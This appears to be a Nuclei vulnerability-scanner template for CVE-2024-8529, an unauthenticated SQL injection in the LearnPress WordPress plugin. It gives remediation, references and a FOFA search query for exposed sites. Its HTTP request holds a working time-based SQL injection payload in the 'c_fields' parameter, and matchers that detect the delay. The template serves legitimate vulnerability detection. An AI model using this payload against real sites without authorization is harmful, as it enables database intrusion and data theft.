CVE-2024-8529: LearnPress < 4.2.7.1 - SQL Injection

id: CVE-2024-8529

info:
  name: LearnPress < 4.2.7.1 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    The LearnPress WordPress LMS Plugin before 4.2.7.1 is vulnerable to unauthenticated SQL injection via the 'c_fields' parameter in the /wp-json/lp/v1/courses/archive-course REST API endpoint, allowing attackers to extract sensitive information from the database.
  remediation: |
    Update the LearnPress plugin to version 4.2.7.1 or later.
  reference:
    - https://wpscan.com/vulnerability/6b86c089-177b-45b4-979e-4ae08e586e83/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/c2b2671e-0db7-4ba9-b574-a0122959e8fc
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8529
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-8529
    cwe-id: CWE-89
    epss-score: 0.60517
    epss-percentile: 0.98189
    cpe: cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    verified: true
    fofa-query: body="wp-content/plugins/learnpress"
    vendor: thimpress
    product: learnpress
  tags: cve,cve2024,wordpress,wp-plugin,wp,learnpress,sqli,time-based-sqli,vkev,vuln

http:
  - raw:
      - |
        @timeout: 30s
        GET /wp-json/learnpress/v1/courses?c_fields=(SELECT(0)FROM(SELECT(SLEEP(6)))a) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - "contains(content_type, 'application/json')"
          - contains_all(body, 'id\":', 'name\":')
        condition: and
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